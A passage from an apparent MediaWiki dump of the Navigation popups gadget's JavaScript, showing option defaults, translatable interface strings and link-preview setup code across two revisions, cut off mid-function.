newOption('popupLazyDownloads', true);
newOption('popupAllDabsStubs', false);
newOption('popupDebugging', false);
newOption('popupActiveNavlinks', true);
newOption('popupModifier', false); // ctrl, shift, alt or meta
newOption('popupModifierAction', 'enable'); // or 'disable'
newOption('popupDraggable', true);
newOption('popupReview', false);
newOption('popupLocale', false);
newOption('popupDateTimeFormatterOptions', {
year: 'numeric',
month: 'long',
day: 'numeric',
hour12: false,
hour: '2-digit',
minute: '2-digit',
second: '2-digit',
});
newOption('popupDateFormatterOptions', {
year: 'numeric',
month: 'long',
day: 'numeric',
});
newOption('popupTimeFormatterOptions', {
hour12: false,
hour: '2-digit',
minute: '2-digit',
second: '2-digit',
});
// images
newOption('popupImages', true);
newOption('imagePopupsForImages', true);
newOption('popupNeverGetThumbs', false);
//newOption('popupImagesToggleSize', true);
newOption('popupThumbAction', 'imagepage'); //'sizetoggle');
newOption('popupImageSize', 60);
newOption('popupImageSizeLarge', 200);
// redirs, dabs, reversion
newOption('popupFixRedirs', false);
newOption('popupRedirAutoClick', 'wpDiff');
newOption('popupFixDabs', false);
newOption('popupDabsAutoClick', 'wpDiff');
newOption('popupRevertSummaryPrompt', false);
newOption('popupMinorReverts', false);
newOption('popupRedlinkRemoval', false);
newOption('popupRedlinkAutoClick', 'wpDiff');
newOption('popupWatchDisambiggedPages', null);
newOption('popupWatchRedirredPages', null);
newOption('popupDabWiktionary', 'last');
// navlinks
newOption('popupNavLinks', true);
newOption('popupNavLinkSeparator', ' ⋅ ');
newOption('popupLastEditLink', true);
newOption('popupEditCounterTool', 'supercount');
newOption('popupEditCounterUrl', '');
// previews etc
newOption('popupPreviews', true);
newOption('popupSummaryData', true);
newOption('popupMaxPreviewSentences', 5);
newOption('popupMaxPreviewCharacters', 600);
newOption('popupLastModified', true);
newOption('popupPreviewKillTemplates', true);
newOption('popupPreviewRawTemplates', true);
newOption('popupPreviewFirstParOnly', true);
newOption('popupPreviewCutHeadings', true);
newOption('popupPreviewButton', false);
newOption('popupPreviewButtonEvent', 'click');
// diffs
newOption('popupPreviewDiffs', true);
newOption('popupDiffMaxLines', 100);
newOption('popupDiffContextLines', 2);
newOption('popupDiffContextCharacters', 40);
newOption('popupDiffDates', true);
newOption('popupDiffDatePrinter', 'toLocaleString'); // no longer in use
// edit summaries. God, these are ugly.
newOption('popupReviewedSummary', popupString('defaultpopupReviewedSummary'));
newOption('popupFixDabsSummary', popupString('defaultpopupFixDabsSummary'));
newOption('popupExtendedRevertSummary', popupString('defaultpopupExtendedRevertSummary'));
newOption('popupRevertSummary', popupString('defaultpopupRevertSummary'));
newOption('popupRevertToPreviousSummary', popupString('defaultpopupRevertToPreviousSummary'));
newOption('popupQueriedRevertSummary', popupString('defaultpopupQueriedRevertSummary'));
newOption(
'popupQueriedRevertToPreviousSummary',
popupString('defaultpopupQueriedRevertToPreviousSummary')
);
newOption('popupFixRedirsSummary', popupString('defaultpopupFixRedirsSummary'));
newOption('popupRedlinkSummary', popupString('defaultpopupRedlinkSummary'));
newOption('popupRmDabLinkSummary', popupString('defaultpopupRmDabLinkSummary'));
// misc
newOption('popupHistoryLimit', 50);
newOption('popupFilters', [
popupFilterStubDetect,
popupFilterDisambigDetect,
popupFilterPageSize,
popupFilterCountLinks,
popupFilterCountImages,
popupFilterCountCategories,
popupFilterLastModified,
popupFilterWikibaseItem,
]);
newOption('extraPopupFilters', []);
newOption('popupOnEditSelection', 'cursor');
newOption('popupPreviewHistory', true);
newOption('popupImageLinks', true);
newOption('popupCategoryMembers', true);
newOption('popupUserInfo', true);
newOption('popupHistoryPreviewLimit', 25);
newOption('popupContribsPreviewLimit', 25);
newOption('popupRevDelUrl', '//en.wikipedia.org/wiki/Wikipedia:Revision_deletion');
newOption('popupShowGender', true);
// new windows
newOption('popupNewWindows', false);
newOption('popupLinksNewWindow', { lastContrib: true, sinceMe: true });
// regexps
newOption(
'popupDabRegexp',
'disambiguation\\}\\}|\\{\\{\\s*(d(ab|isamb(ig(uation)?)?)|(((geo|hn|road?|school|number)dis)|[234][lc][acw]|(road|ship)index))\\s*(\\|[^}]*)?\\}\\}|is a .*disambiguation.*page'
);
newOption('popupAnchorRegexp', 'anchors?'); //how to identify an anchors template
newOption('popupStubRegexp', '(sect)?stub[}][}]|This .*-related article is a .*stub');
newOption(
'popupImageVarsRegexp',
'image|image_(?:file|skyline|name|flag|seal)|cover|badge|logo'
);
}
// ENDFILE: options.js
// STARTFILE: strings.js
//////////////////////////////////////////////////
// Translatable strings
//////////////////////////////////////////////////
//
// See instructions at
// https://en.wikipedia.org/wiki/Wikipedia:Tools/Navigation_popups/Translation
pg.string = {
/////////////////////////////////////
// summary data, searching etc.
/////////////////////////////////////
article: 'article',
category: 'category',
categories: 'categories',
image: 'image',
images: 'images',
stub: 'stub',
'section stub': 'section stub',
'Empty page': 'Empty page',
kB: 'kB',
bytes: 'bytes',
day: 'day',
days: 'days',
hour: 'hour',
hours: 'hours',
minute: 'minute',
minutes: 'minutes',
second: 'second',
seconds: 'seconds',
week: 'week',
weeks: 'weeks',
search: 'search',
SearchHint: 'Find English Wikipedia articles containing %s',
web: 'web',
global: 'global',
globalSearchHint: 'Search across Wikipedias in different languages for %s',
googleSearchHint: 'Google for %s',
/////////////////////////////////////
// article-related actions and info
// (some actions also apply to user pages)
/////////////////////////////////////
actions: 'actions', ///// view articles and view talk
popupsMenu: 'popups',
togglePreviewsHint: 'Toggle preview generation in popups on this page',
'enable previews': 'enable previews',
'disable previews': 'disable previews',
'toggle previews': 'toggle previews',
'show preview': 'show preview',
reset: 'reset',
'more...': 'more...',
disable: 'disable popups',
disablePopupsHint: 'Disable popups on this page. Reload page to re-enable.',
historyfeedHint: 'RSS feed of recent changes to this page',
purgePopupsHint: 'Reset popups, clearing all cached popup data.',
PopupsHint: 'Reset popups, clearing all cached popup data.',
spacebar: 'space',
view: 'view',
'view article': 'view article',
viewHint: 'Go to %s',
talk: 'talk',
'talk page': 'talk page',
'this revision': 'this revision',
'revision %s of %s': 'revision %s of %s',
'Revision %s of %s': 'Revision %s of %s',
'the revision prior to revision %s of %s': 'the revision prior to revision %s of %s',
'Toggle image size': 'Click to toggle image size',
del: 'del', ///// delete, protect, move
delete: 'delete',
deleteHint: 'Delete %s',
undeleteShort: 'un',
UndeleteHint: 'Show the deletion history for %s',
protect: 'protect',
protectHint: 'Restrict editing rights to %s',
unprotectShort: 'un',
unprotectHint: 'Allow %s to be edited by anyone again',
'send thanks': 'send thanks',
ThanksHint: 'Send a thank you notification to this user',
move: 'move',
'move page': 'move page',
MovepageHint: 'Change the title of %s',
edit: 'edit', ///// edit articles and talk
'edit article': 'edit article',
editHint: 'Change the content of %s',
'edit talk': 'edit talk',
new: 'new',
'new topic': 'new topic',
newSectionHint: 'Start a new section on %s',
'null edit': 'null edit',
nullEditHint: 'Submit an edit to %s, making no changes ',
hist: 'hist', ///// history, diffs, editors, related
history: 'history',
historyHint: 'List the changes made to %s',
'History preview failed': 'History preview failed :-(',
last: 'prev', // For labelling the previous revision in history pages; the key is "last" for backwards compatibility
lastEdit: 'lastEdit',
'mark patrolled': 'mark patrolled',
markpatrolledHint: 'Mark this edit as patrolled',
'Could not marked this edit as patrolled': 'Could not marked this edit as patrolled',
'show last edit': 'most recent edit',
'Show the last edit': 'Show the effects of the most recent change',
lastContrib: 'lastContrib',
'last set of edits': 'latest edits',
lastContribHint: 'Show the net effect of changes made by the last editor',
cur: 'cur',
diffCur: 'diffCur',
'Show changes since revision %s': 'Show changes since revision %s',
'%s old': '%s old', // as in 4 weeks old
oldEdit: 'oldEdit',
purge: 'purge',
purgeHint: 'Demand a fresh copy of %s',
raw: 'source',
rawHint: 'Download the source of %s',
render: 'simple',
renderHint: 'Show a plain HTML version of %s',
'Show the edit made to get revision': 'Show the edit made to get revision',
sinceMe: 'sinceMe',
'changes since mine': 'diff my edit',
sinceMeHint: 'Show changes since my last edit',
"Couldn't find an edit by %s\nin the last %s edits to\n%s":
"Couldn't find an edit by %s\nin the last %s edits to\n%s",
eds: 'eds',
editors: 'editors',
editorListHint: 'List the users who have edited %s',
related: 'related',
relatedChanges: 'relatedChanges',
'related changes': 'related changes',
RecentchangeslinkedHint: 'Show changes in articles related to %s',
editOld: 'editOld', ///// edit old version, or revert
rv: 'rv',
revert: 'revert',
revertHint: 'Revert to %s',
defaultpopupReviewedSummary:
'Accepted by reviewing the [[Special:diff/%s/%s|difference]] between this version and previously accepted version using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupRedlinkSummary:
'Removing link to empty page [[%s]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupFixDabsSummary:
'Disambiguate [[%s]] to [[%s]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupFixRedirsSummary:
'Redirect bypass from [[%s]] to [[%s]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupExtendedRevertSummary:
'Revert to revision dated %s by %s, oldid %s using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupRevertToPreviousSummary:
'Revert to the revision prior to revision %s using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupRevertSummary:
'Revert to revision %s using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupQueriedRevertToPreviousSummary:
'Revert to the revision prior to revision $1 dated $2 by $3 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupQueriedRevertSummary:
'Revert to revision $1 dated $2 by $3 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupRmDabLinkSummary:
'Remove link to dab page [[%s]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
Redirects: 'Redirects', // as in Redirects to ...
' to ': ' to ', // as in Redirects to ...
'Bypass redirect': 'Bypass redirect',
'Fix this redirect': 'Fix this redirect',
disambig: 'disambig', ///// add or remove dab etc.
disambigHint: 'Disambiguate this link to [[%s]]',
'Click to disambiguate this link to:': 'Click to disambiguate this link to:',
'remove this link': 'remove this link',
'remove all links to this page from this article':
'remove all links to this page from this article',
'remove all links to this disambig page from this article':
'remove all links to this disambig page from this article',
mainlink: 'mainlink', ///// links, watch, unwatch
wikiLink: 'wikiLink',
wikiLinks: 'wikiLinks',
'links here': 'links here',
whatLinksHere: 'whatLinksHere',
'what links here': 'what links here',
WhatlinkshereHint: 'List the pages that are hyperlinked to %s',
unwatchShort: 'un',
watchThingy: 'watch', // called watchThingy because {}.watch is a function
watchHint: 'Add %s to my watchlist',
unwatchHint: 'Remove %s from my watchlist',
'Only found one editor: %s made %s edits': 'Only found one editor: %s made %s edits',
'%s seems to be the last editor to the page %s':
'%s seems to be the last editor to the page %s',
rss: 'rss',
/////////////////////////////////////
// diff previews
/////////////////////////////////////
'Diff truncated for performance reasons': 'Diff truncated for performance reasons',
'Old revision': 'Old revision',
'New revision': 'New revision',
'Something went wrong :-(': 'Something went wrong :-(',
'Empty revision, maybe non-existent': 'Empty revision, maybe non-existent',
'Unknown date': 'Unknown date',
/////////////////////////////////////
// other special previews
/////////////////////////////////////
'Empty category': 'Empty category',
'Category members (%s shown)': 'Category members (%s shown)',
'No image links found': 'No image links found',
'File links': 'File links',
'No image found': 'No image found',
'Image from Commons': 'Image from Commons',
'Description page': 'Description page',
'Alt text:': 'Alt text:',
revdel: 'Hidden revision',
/////////////////////////////////////
// user-related actions and info
/////////////////////////////////////
user: 'user', ///// user page, talk, email, space
'user page': 'user page',
'user talk': 'user talk',
'edit user talk': 'edit user talk',
'leave comment': 'leave comment',
email: 'email',
'email user': 'email user',
EmailuserHint: 'Send an email to %s',
space: 'space', // short form for userSpace link
PrefixIndexHint: 'Show pages in the userspace of %s',
count: 'count', ///// contributions, log
'edit counter': 'edit counter',
editCounterLinkHint: 'Count the contributions made by %s',
contribs: 'contribs',
contributions: 'contributions',
deletedContribs: 'deleted contributions',
DeletedcontributionsHint: 'List deleted edits made by %s',
ContributionsHint: 'List the contributions made by %s',
log: 'log',
'user log': 'user log',
userLogHint: "Show %s's user log",
arin: 'ARIN lookup', ///// ARIN lookup, block user or IP
'Look up %s in ARIN whois database': 'Look up %s in the ARIN whois database',
unblockShort: 'un',
block: 'block',
'block user': 'block user',
IpblocklistHint: 'Unblock %s',
BlockipHint: 'Prevent %s from editing',
'block log': 'block log',
blockLogHint: 'Show the block log for %s',
protectLogHint: 'Show the protection log for %s',
pageLogHint: 'Show the page log for %s',
deleteLogHint: 'Show the deletion log for %s',
'Invalid %s %s': 'The option %s is invalid: %s',
'No backlinks found': 'No backlinks found',
' and more': ' and more',
undo: 'undo',
undoHint: 'undo this edit',
'Download preview data': 'Download preview data',
'Invalid or IP user': 'Invalid or IP user',
'Not a registered username': 'Not a registered username',
BLOCKED: 'BLOCKED',
'Has blocks': 'Has blocks',
' edits since: ': ' edits since: ',
'last edit on ': 'last edit on ',
'he/him': 'he/him',
'she/her': 'she/her',
/////////////////////////////////////
// Autoediting
/////////////////////////////////////
'Enter a non-empty edit summary or press cancel to abort':
'Enter a non-empty edit summary or press cancel to abort',
'Failed to get revision information, please edit manually.\n\n':
'Failed to get revision information, please edit manually.\n\n',
'The %s button has been automatically clicked. Please wait for the next page to load.':
'The %s button has been automatically clicked. Please wait for the next page to load.',
'Could not find button %s. Please check the settings in your javascript file.':
'Could not find button %s. Please check the settings in your javascript file.',
/////////////////////////////////////
// Popups setup
/////////////////////////////////////
'Open full-size image': 'Open full-size image',
zxy: 'zxy',
autoedit_version: 'np20140416',
};
function popupString(str) {
if (typeof popupStrings != 'undefined' && popupStrings && popupStrings[str]) {
return popupStrings[str];
}
if (pg.string[str]) {
return pg.string[str];
}
return str;
}
function tprintf(str, subs) {
if (typeof subs != typeof []) {
subs = [subs];
}
return simplePrintf(popupString(str), subs);
}
// ENDFILE: strings.js
// STARTFILE: run.js
////////////////////////////////////////////////////////////////////
// Run things
////////////////////////////////////////////////////////////////////
// For some reason popups requires a fully loaded page jQuery.ready(...) causes problems for some.
// The old addOnloadHook did something similar to the below
if (document.readyState == 'complete') {
autoEdit();
}
//will setup popups
else {
$(window).on('load', autoEdit);
}
// Support for MediaWiki's live preview, VisualEditor's saves and Echo's flyout.
(function () {
let once = true;
function dynamicContentHandler($content) {
// Try to detect the hook fired on initial page load and disregard
// it, we already hook to onload (possibly to different parts of
// page - it's configurable) and running twice might be bad. Ugly…
if ($content.attr('id') == 'mw-content-text') {
if (once) {
once = false;
return;
}
}
function registerHooksForVisibleNavpops() {
for (let i = 0; pg.current.links && i < pg.current.links.length; ++i) {
const navpop = pg.current.links[i].navpopup;
if (!navpop || !navpop.isVisible()) {
continue;
}
Navpopup.tracker.addHook(posCheckerHook(navpop));
}
}
function doIt() {
registerHooksForVisibleNavpops();
$content.each(function () {
this.ranSetupTooltipsAlready = false;
setupTooltips(this);
});
}
setupPopups(doIt);
}
// This hook is also fired after page load.
mw.hook('wikipage.content').add(dynamicContentHandler);
mw.hook('ext.echo.overlay.beforeShowingOverlay').add(($overlay) => {
dynamicContentHandler($overlay.find('.mw-echo-state'));
});
}());
});
// ENDFILE: run.js
r5ya0mtj041lsw9jsch5lrf6azmkiqv
768369
768368
2026-10-14T11:42:29Z
Johannes Richter (WMDE)
61456
Undid revision [[Special:Diff/768368|768368]] by [[Special:Contributions/Johannes Richter (WMDE)|Johannes Richter (WMDE)]] ([[User talk:Johannes Richter (WMDE)|talk]])
768369
javascript
text/javascript
// STARTFILE: main.js
// **********************************************************************
// ** **
// ** changes to this file affect many users. **
// ** please discuss on the talk page before editing **
// ** **
// **********************************************************************
// ** **
// ** if you do edit this file, be sure that your editor recognizes it **
// ** as utf8, or the weird and wonderful characters in the namespaces **
// ** below will be completely broken. You can check with the show **
// ** changes button before submitting the edit. **
// ** test: مدیا מיוחד Мэдыя **
// ** **
// **********************************************************************
/* eslint-env browser */
/* global $, jQuery, mw, window */
// Fix later
/* global log, errlog, popupStrings, wikEdUseWikEd, WikEdUpdateFrame */
$(() => {
//////////////////////////////////////////////////
// Globals
//
// Trying to shove as many of these as possible into the pg (popup globals) object
const pg = {
api: {}, // MediaWiki API requests
re: {}, // regexps
ns: {}, // namespaces
string: {}, // translatable strings
wiki: {}, // local site info
user: {}, // current user info
misc: {}, // YUCK PHOOEY
option: {}, // options, see newOption etc
optionDefault: {}, // default option values
flag: {}, // misc flags
cache: {}, // page and image cache
structures: {}, // navlink structures
timer: {}, // all sorts of timers (too damn many)
counter: {}, // .. and all sorts of counters
current: {}, // state info
fn: {}, // functions
endoflist: null,
};
/* Bail if the gadget/script is being loaded twice */
/* An element with id "pg" would add a window.pg property, ignore such property */
if (window.pg && !(window.pg instanceof HTMLElement)) {
return;
}
/* Export to global context */
window.pg = pg;
/// Local Variables: ///
/// mode:c ///
/// End: ///
// ENDFILE: main.js
// STARTFILE: actions.js
function setupTooltips(container, remove, force, popData) {
log('setupTooltips, container=' + container + ', remove=' + remove);
if (!container) {
// the main initial call
if (
getValueOf('popupOnEditSelection') &&
document &&
document.editform &&
document.editform.wpTextbox1
) {
document.editform.wpTextbox1.onmouseup = doSelectionPopup;
}
// article/content is a structure-dependent thing
container = defaultPopupsContainer();
}
if (!remove && !force && container.ranSetupTooltipsAlready) {
return;
}
container.ranSetupTooltipsAlready = !remove;
let anchors;
anchors = container.getElementsByTagName('A');
setupTooltipsLoop(anchors, 0, 250, 100, remove, popData);
}
function defaultPopupsContainer() {
if (getValueOf('popupOnlyArticleLinks')) {
return (
document.querySelector('.skin-vector-2022 .vector-body') ||
document.getElementById('mw_content') ||
document.getElementById('content') ||
document.getElementById('article') ||
document
);
}
return document;
}
function setupTooltipsLoop(anchors, begin, howmany, sleep, remove, popData) {
log(simplePrintf('setupTooltipsLoop(%s,%s,%s,%s,%s)', arguments));
const finish = begin + howmany;
const loopend = Math.min(finish, anchors.length);
let j = loopend - begin;
log(
'setupTooltips: anchors.length=' +
anchors.length +
', begin=' +
begin +
', howmany=' +
howmany +
', loopend=' +
loopend +
', remove=' +
remove
);
const doTooltip = remove ? removeTooltip : addTooltip;
// try a faster (?) loop construct
if (j > 0) {
do {
const a = anchors[loopend - j];
if (typeof a === 'undefined' || !a || !a.href) {
log('got null anchor at index ' + loopend - j);
continue;
}
doTooltip(a, popData);
} while (--j);
}
if (finish < anchors.length) {
setTimeout(() => {
setupTooltipsLoop(anchors, finish, howmany, sleep, remove, popData);
}, sleep);
} else {
if (!remove && !getValueOf('popupTocLinks')) {
rmTocTooltips();
}
pg.flag.finishedLoading = true;
}
}
// eliminate popups from the TOC
// This also kills any onclick stuff that used to be going on in the toc
function rmTocTooltips() {
const toc = document.getElementById('toc');
if (toc) {
const tocLinks = toc.getElementsByTagName('A');
const tocLen = tocLinks.length;
for (let j = 0; j < tocLen; ++j) {
removeTooltip(tocLinks[j], true);
}
}
}
function addTooltip(a, popData) {
if (!isPopupLink(a)) {
return;
}
a.onmouseover = mouseOverWikiLink;
a.onmouseout = mouseOutWikiLink;
a.onmousedown = killPopup;
a.hasPopup = true;
a.popData = popData;
}
function removeTooltip(a) {
if (!a.hasPopup) {
return;
}
a.onmouseover = null;
a.onmouseout = null;
if (a.originalTitle) {
a.title = a.originalTitle;
}
a.hasPopup = false;
}
function removeTitle(a) {
if (!a.originalTitle) {
a.originalTitle = a.title;
}
a.title = '';
}
function restoreTitle(a) {
if (a.title || !a.originalTitle) {
return;
}
a.title = a.originalTitle;
}
function registerHooks(np) {
const popupMaxWidth = getValueOf('popupMaxWidth');
if (typeof popupMaxWidth === 'number') {
const setMaxWidth = function () {
np.mainDiv.style.maxWidth = popupMaxWidth + 'px';
np.maxWidth = popupMaxWidth;
};
np.addHook(setMaxWidth, 'unhide', 'before');
}
np.addHook(addPopupShortcuts, 'unhide', 'after');
np.addHook(rmPopupShortcuts, 'hide', 'before');
}
function removeModifierKeyHandler(a) {
//remove listeners for modifier key if any that were added in mouseOverWikiLink
document.removeEventListener('keydown', a.modifierKeyHandler, false);
document.removeEventListener('keyup', a.modifierKeyHandler, false);
}
function mouseOverWikiLink(evt) {
if (!evt && window.event) {
evt = window.event;
}
// if the modifier is needed, listen for it,
// we will remove the listener when we mouseout of this link or kill popup.
if (getValueOf('popupModifier')) {
// if popupModifierAction = enable, we should popup when the modifier is pressed
// if popupModifierAction = disable, we should popup unless the modifier is pressed
const action = getValueOf('popupModifierAction');
const key = action == 'disable' ? 'keyup' : 'keydown';
const a = this;
a.modifierKeyHandler = function (evt) {
mouseOverWikiLink2(a, evt);
};
document.addEventListener(key, a.modifierKeyHandler, false);
}
return mouseOverWikiLink2(this, evt);
}
/**
* Gets the references list item that the provided footnote link targets. This
* is typically a li element within the ol.references element inside the reflist.
*
* @param {Element} a - A footnote link.
* @return {Element|boolean} The targeted element, or false if one can't be found.
*/
function footnoteTarget(a) {
const aTitle = Title.fromAnchor(a);
// We want ".3A" rather than "%3A" or "?" here, so use the anchor property directly
const anch = aTitle.anchor;
if (!/^(cite_note-|_note-|endnote)/.test(anch)) {
return false;
}
const lTitle = Title.fromURL(location.href);
if (lTitle.toString(true) !== aTitle.toString(true)) {
return false;
}
let el = document.getElementById(anch);
while (el && typeof el.nodeName === 'string') {
const nt = el.nodeName.toLowerCase();
if (nt === 'li') {
return el;
} else if (nt === 'body') {
return false;
} else if (el.parentNode) {
el = el.parentNode;
} else {
return false;
}
}
return false;
}
function footnotePreview(x, navpop) {
setPopupHTML('<hr />' + x.innerHTML, 'popupPreview', navpop.idNumber);
}
function modifierPressed(evt) {
const mod = getValueOf('popupModifier');
if (!mod) {
return false;
}
if (!evt && window.event) {
evt = window.event;
}
return evt && mod && evt[mod.toLowerCase() + 'Key'];
}
// Checks if the correct modifier pressed/unpressed if needed
function isCorrectModifier(a, evt) {
if (!getValueOf('popupModifier')) {
return true;
}
// if popupModifierAction = enable, we should popup when the modifier is pressed
// if popupModifierAction = disable, we should popup unless the modifier is pressed
const action = getValueOf('popupModifierAction');
return (
(action == 'enable' && modifierPressed(evt)) || (action == 'disable' && !modifierPressed(evt))
);
}
function mouseOverWikiLink2(a, evt) {
if (!isCorrectModifier(a, evt)) {
return;
}
if (getValueOf('removeTitles')) {
removeTitle(a);
}
if (a == pg.current.link && a.navpopup && a.navpopup.isVisible()) {
return;
}
pg.current.link = a;
if (getValueOf('simplePopups') && !pg.option.popupStructure) {
// reset *default value* of popupStructure
setDefault('popupStructure', 'original');
}
const article = new Title().fromAnchor(a);
// set global variable (ugh) to hold article (wikipage)
pg.current.article = article;
if (!a.navpopup) {
a.navpopup = newNavpopup(a, article);
pg.current.linksHash[a.href] = a.navpopup;
pg.current.links.push(a);
}
if (a.navpopup.pending === null || a.navpopup.pending !== 0) {
// either fresh popups or those with unfinshed business are redone from scratch
simplePopupContent(a, article);
}
a.navpopup.showSoonIfStable(a.navpopup.delay);
clearInterval(pg.timer.checkPopupPosition);
pg.timer.checkPopupPosition = setInterval(checkPopupPosition, 600);
if (getValueOf('simplePopups')) {
if (getValueOf('popupPreviewButton') && !a.simpleNoMore) {
const d = document.createElement('div');
d.className = 'popupPreviewButtonDiv';
const s = document.createElement('span');
d.appendChild(s);
s.className = 'popupPreviewButton';
s['on' + getValueOf('popupPreviewButtonEvent')] = function () {
a.simpleNoMore = true;
d.style.display = 'none';
nonsimplePopupContent(a, article);
};
s.innerHTML = popupString('show preview');
setPopupHTML(d, 'popupPreview', a.navpopup.idNumber);
}
}
if (a.navpopup.pending !== 0) {
nonsimplePopupContent(a, article);
}
}
// simplePopupContent: the content that do not require additional download
// (it is shown even when simplePopups is true)
function simplePopupContent(a, article) {
/* FIXME hack */ a.navpopup.hasPopupMenu = false;
a.navpopup.setInnerHTML(popupHTML(a));
fillEmptySpans({ navpopup: a.navpopup });
if (getValueOf('popupDraggable')) {
let dragHandle = getValueOf('popupDragHandle') || null;
if (dragHandle && dragHandle != 'all') {
dragHandle += a.navpopup.idNumber;
}
setTimeout(() => {
a.navpopup.makeDraggable(dragHandle);
}, 150);
}
if (getValueOf('popupRedlinkRemoval') && a.className == 'new') {
setPopupHTML('<br>' + popupRedlinkHTML(article), 'popupRedlink', a.navpopup.idNumber);
}
}
function debugData(navpopup) {
if (getValueOf('popupDebugging') && navpopup.idNumber) {
setPopupHTML(
'idNumber=' + navpopup.idNumber + ', pending=' + navpopup.pending,
'popupError',
navpopup.idNumber
);
}
}
function newNavpopup(a, article) {
const navpopup = new Navpopup();
navpopup.fuzz = 5;
navpopup.delay = getValueOf('popupDelay') * 1000;
// increment global counter now
navpopup.idNumber = ++pg.idNumber;
navpopup.parentAnchor = a;
navpopup.parentPopup = a.popData && a.popData.owner;
navpopup.article = article;
registerHooks(navpopup);
return navpopup;
}
// Should we show nonsimple context?
// If simplePopups is set to true, then we do not show nonsimple context,
// but if a bottom "show preview" was clicked we do show nonsimple context
function shouldShowNonSimple(a) {
return !getValueOf('simplePopups') || a.simpleNoMore;
}
// Should we show nonsimple context govern by the option (e.g. popupUserInfo)?
// If the user explicitly asked for nonsimple context by setting the option to true,
// then we show it even in nonsimple mode.
function shouldShow(a, option) {
if (shouldShowNonSimple(a)) {
return getValueOf(option);
} else {
return typeof window[option] != 'undefined' && window[option];
}
}
function nonsimplePopupContent(a, article) {
let diff = null,
history = null;
const params = parseParams(a.href);
const oldid = typeof params.oldid == 'undefined' ? null : params.oldid;
if (shouldShow(a, 'popupPreviewDiffs')) {
diff = params.diff;
}
if (shouldShow(a, 'popupPreviewHistory')) {
history = params.action == 'history';
}
a.navpopup.pending = 0;
const referenceElement = footnoteTarget(a);
if (referenceElement) {
footnotePreview(referenceElement, a.navpopup);
} else if (diff || diff === 0) {
loadDiff(article, oldid, diff, a.navpopup);
} else if (history) {
loadAPIPreview('history', article, a.navpopup);
} else if (shouldShowNonSimple(a) && pg.re.contribs.test(a.href)) {
loadAPIPreview('contribs', article, a.navpopup);
} else if (shouldShowNonSimple(a) && pg.re.backlinks.test(a.href)) {
loadAPIPreview('backlinks', article, a.navpopup);
} else if (
// FIXME should be able to get all preview combinations with options
article.namespaceId() == pg.nsImageId &&
(shouldShow(a, 'imagePopupsForImages') || !anchorContainsImage(a))
) {
loadAPIPreview('imagepagepreview', article, a.navpopup);
loadImage(article, a.navpopup);
} else {
if (article.namespaceId() == pg.nsCategoryId && shouldShow(a, 'popupCategoryMembers')) {
loadAPIPreview('category', article, a.navpopup);
} else if (
(article.namespaceId() == pg.nsUserId || article.namespaceId() == pg.nsUsertalkId) &&
shouldShow(a, 'popupUserInfo')
) {
loadAPIPreview('userinfo', article, a.navpopup);
}
if (shouldShowNonSimple(a)) {
startArticlePreview(article, oldid, a.navpopup);
}
}
}
function pendingNavpopTask(navpop) {
if (navpop && navpop.pending === null) {
navpop.pending = 0;
}
++navpop.pending;
debugData(navpop);
}
function completedNavpopTask(navpop) {
if (navpop && navpop.pending) {
--navpop.pending;
}
debugData(navpop);
}
function startArticlePreview(article, oldid, navpop) {
navpop.redir = 0;
loadPreview(article, oldid, navpop);
}
function loadPreview(article, oldid, navpop) {
if (!navpop.redir) {
navpop.originalArticle = article;
}
article.oldid = oldid;
loadAPIPreview('revision', article, navpop);
}
function loadPreviewFromRedir(redirMatch, navpop) {
// redirMatch is a regex match
const target = new Title().fromWikiText(redirMatch[2]);
// overwrite (or add) anchor from original target
// mediawiki does overwrite; eg [[User:Lupin/foo3#Done]]
if (navpop.article.anchor) {
target.anchor = navpop.article.anchor;
}
navpop.redir++;
navpop.redirTarget = target;
const warnRedir = redirLink(target, navpop.article);
setPopupHTML(warnRedir, 'popupWarnRedir', navpop.idNumber);
navpop.article = target;
fillEmptySpans({ redir: true, redirTarget: target, navpopup: navpop });
return loadPreview(target, null, navpop);
}
function insertPreview(download) {
if (!download.owner) {
return;
}
const redirMatch = pg.re.redirect.exec(download.data);
if (download.owner.redir === 0 && redirMatch) {
loadPreviewFromRedir(redirMatch, download.owner);
return;
}
if (download.owner.visible || !getValueOf('popupLazyPreviews')) {
insertPreviewNow(download);
} else {
const id = download.owner.redir ? 'PREVIEW_REDIR_HOOK' : 'PREVIEW_HOOK';
download.owner.addHook(
() => {
insertPreviewNow(download);
return true;
},
'unhide',
'after',
id
);
}
}
function insertPreviewNow(download) {
if (!download.owner) {
return;
}
const wikiText = download.data;
const navpop = download.owner;
const art = navpop.redirTarget || navpop.originalArticle;
makeFixDabs(wikiText, navpop);
if (getValueOf('popupSummaryData')) {
getPageInfo(wikiText, download);
setPopupTrailer(getPageInfo(wikiText, download), navpop.idNumber);
}
let imagePage = '';
if (art.namespaceId() == pg.nsImageId) {
imagePage = art.toString();
} else {
imagePage = getValidImageFromWikiText(wikiText);
}
if (imagePage) {
loadImage(Title.fromWikiText(imagePage), navpop);
}
if (getValueOf('popupPreviews')) {
insertArticlePreview(download, art, navpop);
}
}
function insertArticlePreview(download, art, navpop) {
if (download && typeof download.data == typeof '') {
if (art.namespaceId() == pg.nsTemplateId && getValueOf('popupPreviewRawTemplates')) {
// FIXME compare/consolidate with diff escaping code for wikitext
const h =
'<hr /><span style="font-family: monospace;">' +
download.data.entify().split('\\n').join('<br />\\n') +
'</span>';
setPopupHTML(h, 'popupPreview', navpop.idNumber);
} else {
const p = prepPreviewmaker(download.data, art, navpop);
p.showPreview();
}
}
}
function prepPreviewmaker(data, article, navpop) {
// deal with tricksy anchors
const d = anchorize(data, article.anchorString());
const urlBase = joinPath([pg.wiki.articlebase, article.urlString()]);
const p = new Previewmaker(d, urlBase, navpop);
return p;
}
// Try to imitate the way mediawiki generates HTML anchors from section titles
function anchorize(d, anch) {
if (!anch) {
return d;
}
const anchRe = RegExp(
'(?:=+\\s*' +
literalizeRegex(anch).replace(/[_ ]/g, '[_ ]') +
'\\s*=+|\\{\\{\\s*' +
